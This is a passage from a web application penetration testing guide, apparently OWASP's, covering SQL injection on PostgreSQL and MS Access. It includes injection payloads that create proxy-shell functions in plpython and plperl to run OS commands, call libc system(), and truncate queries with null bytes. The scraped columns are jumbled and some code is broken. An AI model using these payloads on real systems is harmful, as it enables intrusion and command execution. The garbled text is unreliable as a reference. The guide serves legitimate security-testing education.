1BO4r2U
1BO4r2U
1BO4r2U
Create successful ePaper yourself
Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.
125 126<br />
Web Application Penetration Testing<br />
Web Application Penetration Testing<br />
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS<br />
int AS ‘/lib/libc.so.6’,’system’ LANGUAGE ‘C’<br />
STRICT --<br />
/store.php?id=1; SELECT system(‘uname -a > /tmp/test’) --<br />
/store.php?id=1; COPY stdout(system_out) FROM ‘/tmp/test’<br />
--<br />
/store.php?id=1 UNION ALL SELECT NULL,(SELECT system_out<br />
FROM stdout ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--<br />
plpython<br />
PL/Python allows users to code PostgreSQL functions in python. It’s<br />
untrusted so there is no way to restrict what user can do. It’s not installed<br />
by default and can be enabled on a given database by CRE-<br />
ATELANG<br />
[1] Check if PL/Python has been enabled on a database:<br />
• SELECT count(*) FROM pg_language WHERE lanname=’plpythonu’<br />
[2] If not, try to enable:<br />
• CREATE LANGUAGE plpythonu<br />
[3] If either of the above succeeded, create a proxy shell function:<br />
• CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; return<br />
os.popen(args[0]).read() ‘LANGUAGE plpythonu<br />
[4] Have fun with:<br />
• SELECT proxyshell(os command);<br />
• CREATE FUNCTION proxyshell(text) RETURNS text AS ‘open(FD,”$_<br />
[0] |”);return join(“”,);’ LANGUAGE plperlu<br />
[4] Have fun with:<br />
• SELECT proxyshell(os command);<br />
Example:<br />
[1] Create a proxy shell function:<br />
• /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text<br />
AS ‘open(FD,”$_[0] |”);return join(“”,);’ LANGUAGE plperlu;<br />
[2] Run an OS Command:<br />
• /store.php?id=1 UNION ALL SELECT NULL, proxyshell(‘whoami’),<br />
NULL OFFSET 1;--<br />
References<br />
• OWASP : “Testing for SQL Injection”<br />
• OWASP : SQL Injection Prevention Cheat Sheet<br />
• PostgreSQL : “Official Documentation” - http:/www.postgresql.org/<br />
docs/<br />
• Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection<br />
tool - http:/sqlmap.sourceforge.net<br />
Testing for MS Access<br />
Summary<br />
As explained in the generic SQL injection section, SQL injection vulnerabilities<br />
occur whenever user-supplied input is used during the<br />
construction of a SQL query without being adequately constrained<br />
or sanitized. This class of vulnerabilities allows an attacker to execute<br />
SQL code under the privileges of the user that is used to connect to the<br />
database. In this section, relevant SQL injection techniques that utilize<br />
specific features of Microsoft Access will be discussed.<br />
In all cases, we have a confirmation that we’re testing an application<br />
using MS Access database.<br />
Basic Testing<br />
Unfortunately, MS Access doesn’t support typical operators that are<br />
traditionally used during SQL injection testing, including:<br />
• No comments characters<br />
• No stacked queries<br />
• No LIMIT operator<br />
• No SLEEP or BENCHMARK alike operators<br />
• and many others<br />
Nevertheless, it is possible to emulate those functions by combining<br />
multiple operators or by using alternative techniques. As mentioned, it<br />
is not possible to use the trick of inserting the characters /*, -- or # in<br />
order to truncate the query. However, we can fortunately bypass this<br />
limitation by injecting a ‘null’ character. Using a null byte %00 within<br />
a SQL query results in MS Access ignoring all remaining characters.<br />
This can be explained by considering that all strings are NULL terminated<br />
in the internal representation used by the database. It is worth<br />
mentioning that the ‘null’ character can sometimes cause troubles too<br />
as it may truncate strings at the web server level. In those situations,<br />
we can however employ another character: 0x16 (%16 in URL encoded<br />
format).<br />
Considering the following query:<br />
SELECT [username],[password] FROM users WHERE [username]=’$myUsername’<br />
AND [password]=’$myPassword’<br />
• IIF: Is the IF construct, for example the following statement IIF(1=1,<br />
‘a’, ‘b’) return ‘a’<br />
• MID: This function allows you to extract substring, for example the<br />
following statement mid(‘abc’,1,1) return ‘a’<br />
• TOP: This function allows you to specify the maximum number of<br />
results that the query should return from the top. For example TOP 1<br />
will return only 1 row.<br />
• LAST: This function is used to select only the last row of a set of rows.<br />
For example the following query SELECT last(*) FROM users will return<br />
only the last row of the result.<br />
Some of these operators are essential to exploit blind SQL injections.<br />
For other advanced operators, please refer to the documents in the<br />
references.<br />
Attributes Enumeration<br />
In order to enumerate the column of a database table, it is possible<br />
to use a common error-based technique. In short, we can obtain the<br />
attributes name by analyzing error messages and repeating the query<br />
with different selectors. For example, assuming that we know the<br />
existence of a column, we can also obtain the name of the remaining<br />
attributes with the following query:<br />
‘ GROUP BY Id%00<br />
In the error message received, it is possible to observe the name of the<br />
next column. At this point, we can iterate the method until we obtain<br />
the name of all attributes. If we don’t know the name of the first attribute,<br />
we can still insert a fictitious column name and obtain the name<br />
of the first attribute within the error message.<br />
Example:<br />
[1] Create a proxy shell function:<br />
• /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text<br />
AS ‘import os; return os.popen(args[0]).read()’ LANGUAGE plpytho-<br />
nu;--<br />
[2] Run an OS Command:<br />
• /store.php?id=1 UNION ALL SELECT NULL, proxyshell(‘whoami’),<br />
NULL OFFSET 1;--<br />
plperl<br />
Plperl allows us to code PostgreSQL functions in perl. Normally, it is<br />
installed as a trusted language in order to disable runtime execution of<br />
operations that interact with the underlying operating system, such as<br />
open. By doing so, it’s impossible to gain OS-level access. To successfully<br />
inject a proxyshell like function, we need to install the untrusted<br />
version from the postgres user, to avoid the so-called application<br />
mask filtering of trusted/untrusted operations.<br />
[1] Check if PL/perl-untrusted has been enabled:<br />
• SELECT count(*) FROM pg_language WHERE lanname=’plperlu’<br />
[2] If not, assuming that sysadm has already installed the plperl package,<br />
try :<br />
• CREATE LANGUAGE plperlu<br />
[3] If either of the above succeeded, create a proxy shell function:<br />
How to Test<br />
Fingerprinting<br />
Fingerprinting the specific database technology while testing<br />
SQL-powered application is the first step to properly asses potential<br />
vulnerabilities. A common approach involves injecting standard SQL<br />
injection attack patterns (e.g. single quote, double quote, ...) in order to<br />
trigger database exceptions. Assuming that the application does not<br />
handle exceptions with custom pages, it is possible to fingerprint the<br />
underline DBMS by observing error messages.<br />
Depending on the specific web technology used, MS Access driven applications<br />
will respond with one of the following errors:<br />
or<br />
or<br />
Fatal error: Uncaught exception ‘com_exception’ with message<br />
Source: Microsoft JET Database Engine<br />
Microsoft JET Database Engine error ‘80040e14’<br />
Microsoft Office Access Database Engine<br />
We can truncate the query with the following two URLs:<br />
http:/www.example.com/page.asp?user=admin’%00&pass=foo<br />
http:/www.example.com/page.app?user=admin’%16&pass=foo<br />
The LIMIT operator is not implemented in MS Access, however it is<br />
possible to limit the number of results by using the TOP or LAST operators<br />
instead.<br />
http:/www.example.com/page.app?id=2’+UNION+SE-<br />
LECT+TOP+3+name+FROM+appsTable%00<br />
By combining both operators, it is possible to select specific results.<br />
String concatenation is possible by using & (%26) and + (%2b) characters.<br />
There are also many other functions that can be used while testing<br />
SQL injection, including but not limited to:<br />
• ASC: Obtain the ASCII value of a character passed as input<br />
• CHR: Obtain the character of the ASCII value passed as input<br />
• LEN: Return the length of the string passed as parameter<br />
Obtaining Database Schema<br />
Various system tables exist by default in MS Access that can be potentially<br />
used to obtain table names and columns. Unfortunately, in the<br />
default configuration of recent MS Access database releases, these<br />
tables are not accessible. Nevertheless, it is always worth trying:<br />
• MSysObjects<br />
• MSysACEs<br />
• MSysAccessXML<br />
For example, if a union SQL injection vulnerability exists, you can use<br />
the following query:<br />
‘ UNION SELECT Name FROM MSysObjects WHERE Type = 1%00<br />
Alternatively, it is always possible to bruteforce the database schema<br />
by using a standard wordlist (e.g. FuzzDb).<br />
In some cases, developers or system administrators do not realize<br />
that including the actual .mdb file within the application webroot can<br />
allow to download the entire database. Database filenames can be inferred<br />
with the following query:<br />
http:/www.example.com/page.app?id=1’+UNION+SE-<br />
LECT+1+FROM+name.table%00